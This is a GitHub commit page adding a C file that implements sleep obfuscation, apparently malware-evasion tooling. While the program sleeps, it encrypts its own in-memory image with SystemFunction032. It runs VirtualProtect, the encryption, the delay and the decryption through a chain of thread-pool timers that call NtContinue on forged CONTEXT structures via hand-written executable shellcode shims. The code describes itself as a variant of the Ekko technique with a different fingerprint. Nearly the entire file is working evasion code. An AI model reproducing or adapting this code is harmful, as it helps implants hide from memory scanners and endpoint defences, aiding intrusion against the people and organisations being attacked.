Add files via upload

This commit is contained in:
MochaByte
2026-07-27 22:50:29 +02:00
committed by GitHub
parent 3b3cf2e283
commit ae2f58c3ca
+202
View File
@@ -0,0 +1,202 @@
// sleep obfuscation via CreateThreadpoolTimer ( NtSetTimer2 path )
// same idea as Ekko but different fingerprint
// build: gcc sleep.c -o sleep.exe -static
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
typedef struct { ULONG Length, MaximumLength; PVOID Buffer; } USTRING;
typedef NTSTATUS ( NTAPI *fnNtContinue )( PCONTEXT, BOOLEAN );
typedef NTSTATUS ( NTAPI *fnSysFunc032 )( USTRING *, USTRING * );
static fnNtContinue g_NtContinue = NULL;
static fnSysFunc032 g_SysFunc032 = NULL;
static PTP_POOL g_Pool = NULL;
static TP_CALLBACK_ENVIRON g_Env;
// shims live outside the encrypted image so they survive sleep
// TpTimer callbacks: ( Instance, Context, Timer ) -> rcx/rdx/r8
// NtContinue wants ( PCONTEXT, BOOLEAN ) -> rcx/rdx
// so we need: mov rcx, rdx; [xor edx,edx]; jmp target
typedef struct {
BYTE ntc[20]; // 17 bytes: mov rcx,rdx / xor edx,edx / mov rax,addr / jmp rax
BYTE cap[16]; // 15 bytes: mov rcx,rdx / mov rax,addr / jmp rax
} SHIMS;
_Static_assert( sizeof( ( ( SHIMS* )0 )->ntc ) >= 17, "ntc shim too small" );
_Static_assert( sizeof( ( ( SHIMS* )0 )->cap ) >= 15, "cap shim too small" );
static SHIMS *g_Shims = NULL;
static BOOL setup_shims( void )
{
PVOID rtlcc = GetProcAddress( GetModuleHandleA( "ntdll.dll" ), "RtlCaptureContext" );
if ( !rtlcc ) return FALSE;
g_Shims = VirtualAlloc( NULL, sizeof( SHIMS ), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
if ( !g_Shims ) return FALSE;
// NtContinue shim
BYTE s1[] = { 0x48,0x89,0xD1, 0x33,0xD2, 0x48,0xB8,0,0,0,0,0,0,0,0, 0xFF,0xE0 } ;
*( void ** )( s1+7 ) = g_NtContinue;
memcpy( g_Shims->ntc, s1, sizeof( s1 ) );
// RtlCaptureContext shim
BYTE s2[] = { 0x48,0x89,0xD1, 0x48,0xB8,0,0,0,0,0,0,0,0, 0xFF,0xE0 } ;
*( void ** )( s2+5 ) = rtlcc;
memcpy( g_Shims->cap, s2, sizeof( s2 ) );
return TRUE;
}
static BOOL init( void )
{
HMODULE ntdll = GetModuleHandleA( "ntdll.dll" );
HMODULE cryptsp = LoadLibraryA( "cryptsp.dll" );
if ( !ntdll || !cryptsp ) return FALSE;
g_NtContinue = ( fnNtContinue )GetProcAddress( ntdll, "NtContinue" );
g_SysFunc032 = ( fnSysFunc032 )GetProcAddress( cryptsp, "SystemFunction032" );
if ( !g_NtContinue || !g_SysFunc032 ) return FALSE;
if ( !setup_shims( ) ) return FALSE;
g_Pool = CreateThreadpool( NULL );
if ( !g_Pool ) return FALSE;
SetThreadpoolThreadMaximum( g_Pool, 1 );
SetThreadpoolThreadMinimum( g_Pool, 1 );
InitializeThreadpoolEnvironment( &g_Env );
SetThreadpoolCallbackPool( &g_Env, g_Pool );
printf( "[+] init ok NtContinue=%p shims=%p\n", g_NtContinue, g_Shims );
return TRUE;
}
void obf_sleep( DWORD ms )
{
CONTEXT ctx = { 0 } , rProtRW = { 0 } , rEncrypt = { 0 } , rDelay = { 0 } , rDecrypt = { 0 } , rProtRX = { 0 } , rSetEvt = { 0 } ;
ctx.ContextFlags = CONTEXT_FULL;
PTP_TIMER tCap=NULL, tProtRW=NULL, tEnc=NULL, tDelay=NULL, tDec=NULL, tProtRX=NULL, tSetEvt=NULL;
HANDLE hEvt = CreateEventW( NULL, FALSE, FALSE, NULL );
PVOID base = GetModuleHandleA( NULL );
DWORD size = ( ( PIMAGE_NT_HEADERS )( ( PBYTE )base + ( ( PIMAGE_DOS_HEADER )base )->e_lfanew ) )->OptionalHeader.SizeOfImage;
DWORD oldprot = 0;
printf( "[*] base= @ 0x%p size=0x%lX\n", base, size );
BYTE key[16] = { 0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF,
0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF } ;
USTRING uKey = { 16, 16, key } ;
USTRING uImg = { ( ULONG )size, ( ULONG )size, base } ;
// capture pool thread context with retries, the thread gets killed by
// NtContinue each cycle ( stack abandoned mid-frame ), so MinThreads=1
// replaces it but needs ~200ms. retry loop absorbs that delay.
tCap = CreateThreadpoolTimer( ( PTP_TIMER_CALLBACK )g_Shims->cap, &ctx, &g_Env );
if ( !tCap ) goto done;
for ( int i = 0; i < 8; i++ ) {
ctx.Rsp = 0xDEADBEEFDEADBEEFULL;
FILETIME ft = { 0 } ;
SetThreadpoolTimer( tCap, &ft, 0, 0 );
Sleep( 100 );
WaitForThreadpoolTimerCallbacks( tCap, FALSE );
if ( ctx.Rsp != 0xDEADBEEFDEADBEEFULL && ctx.Rsp ) break;
SetThreadpoolTimer( tCap, NULL, 0, 0 ); // disarm before retry
Sleep( 300 );
}
WaitForThreadpoolTimerCallbacks( tCap, TRUE );
CloseThreadpoolTimer( tCap ); tCap = NULL;
if ( !ctx.Rsp || ctx.Rsp == 0xDEADBEEFDEADBEEFULL ) {
printf( "[-] capture failed\n" );
goto done;
}
printf( "[*] captured rsp=%016llx rip=%016llx\n", ctx.Rsp, ctx.Rip );
// clone base context into each ROP step, then patch
// rsp-=8 corrects RtlCaptureContext's +0x10 overshoot so ret
// lands on the ntdll return address rather than 8 bytes past it
memcpy( &rProtRW, &ctx, sizeof ctx );
memcpy( &rEncrypt, &ctx, sizeof ctx );
memcpy( &rDelay, &ctx, sizeof ctx );
memcpy( &rDecrypt, &ctx, sizeof ctx );
memcpy( &rProtRX, &ctx, sizeof ctx );
memcpy( &rSetEvt, &ctx, sizeof ctx );
rProtRW.Rsp -= 8; rProtRW.Rip = ( DWORD64 )VirtualProtect;
rProtRW.Rcx = ( DWORD64 )base; rProtRW.Rdx = size;
rProtRW.R8 = PAGE_READWRITE; rProtRW.R9 = ( DWORD64 )&oldprot;
rEncrypt.Rsp -= 8; rEncrypt.Rip = ( DWORD64 )g_SysFunc032;
rEncrypt.Rcx = ( DWORD64 )&uImg; rEncrypt.Rdx = ( DWORD64 )&uKey;
rDelay.Rsp -= 8; rDelay.Rip = ( DWORD64 )Sleep;
rDelay.Rcx = ms;
rDecrypt.Rsp -= 8; rDecrypt.Rip = ( DWORD64 )g_SysFunc032;
rDecrypt.Rcx = ( DWORD64 )&uImg; rDecrypt.Rdx = ( DWORD64 )&uKey;
rProtRX.Rsp -= 8; rProtRX.Rip = ( DWORD64 )VirtualProtect;
rProtRX.Rcx = ( DWORD64 )base; rProtRX.Rdx = size;
rProtRX.R8 = PAGE_EXECUTE_READ; rProtRX.R9 = ( DWORD64 )&oldprot;
rSetEvt.Rsp -= 8; rSetEvt.Rip = ( DWORD64 )SetEvent;
rSetEvt.Rcx = ( DWORD64 )hEvt;
// stagger in 500ms slots. Post-sleep steps offset by ms so they
// fire after the delay callback's Sleep() returns
const LONGLONG t = 5000000LL, sN = ( LONGLONG )ms * 10000LL;
LARGE_INTEGER d[6];
d[0].QuadPart = -( t ); d[1].QuadPart = -( 2*t );
d[2].QuadPart = -( 3*t ); d[3].QuadPart = -( 3*t + sN + t );
d[4].QuadPart = -( 3*t + sN + 2*t ); d[5].QuadPart = -( 3*t + sN + 3*t );
PTP_TIMER_CALLBACK shim = ( PTP_TIMER_CALLBACK )g_Shims->ntc;
tProtRW = CreateThreadpoolTimer( shim, &rProtRW, &g_Env );
tEnc = CreateThreadpoolTimer( shim, &rEncrypt, &g_Env );
tDelay = CreateThreadpoolTimer( shim, &rDelay, &g_Env );
tDec = CreateThreadpoolTimer( shim, &rDecrypt, &g_Env );
tProtRX = CreateThreadpoolTimer( shim, &rProtRX, &g_Env );
tSetEvt = CreateThreadpoolTimer( shim, &rSetEvt, &g_Env );
if ( !tProtRW || !tEnc || !tDelay || !tDec || !tProtRX || !tSetEvt ) {
printf( "[-] timer alloc failed\n" );
goto done;
}
SetThreadpoolTimer( tProtRW, ( PFILETIME )&d[0], 0, 0 );
SetThreadpoolTimer( tEnc, ( PFILETIME )&d[1], 0, 0 );
SetThreadpoolTimer( tDelay, ( PFILETIME )&d[2], 0, 0 );
SetThreadpoolTimer( tDec, ( PFILETIME )&d[3], 0, 0 );
SetThreadpoolTimer( tProtRX, ( PFILETIME )&d[4], 0, 0 );
SetThreadpoolTimer( tSetEvt, ( PFILETIME )&d[5], 0, 0 );
printf( "[*] sleeping %lu ms ( image encrypted )\n", ms );
WaitForSingleObject( hEvt, INFINITE );
printf( "[*] awake\n" );
done:
if ( tCap ) { WaitForThreadpoolTimerCallbacks( tCap, TRUE ); CloseThreadpoolTimer( tCap ); }
if ( tProtRW ) { WaitForThreadpoolTimerCallbacks( tProtRW, TRUE ); CloseThreadpoolTimer( tProtRW ); }
if ( tEnc ) { WaitForThreadpoolTimerCallbacks( tEnc, TRUE ); CloseThreadpoolTimer( tEnc ); }
if ( tDelay ) { WaitForThreadpoolTimerCallbacks( tDelay, TRUE ); CloseThreadpoolTimer( tDelay ); }
if ( tDec ) { WaitForThreadpoolTimerCallbacks( tDec, TRUE ); CloseThreadpoolTimer( tDec ); }
if ( tProtRX ) { WaitForThreadpoolTimerCallbacks( tProtRX, TRUE ); CloseThreadpoolTimer( tProtRX ); }
if ( tSetEvt ) { WaitForThreadpoolTimerCallbacks( tSetEvt, TRUE ); CloseThreadpoolTimer( tSetEvt ); }
if ( hEvt ) CloseHandle( hEvt );
}
int main( void )
{
if ( !init( ) ) { printf( "[-] init failed\n" ); return 1; }
for ( ;; ) obf_sleep( 3000 );
}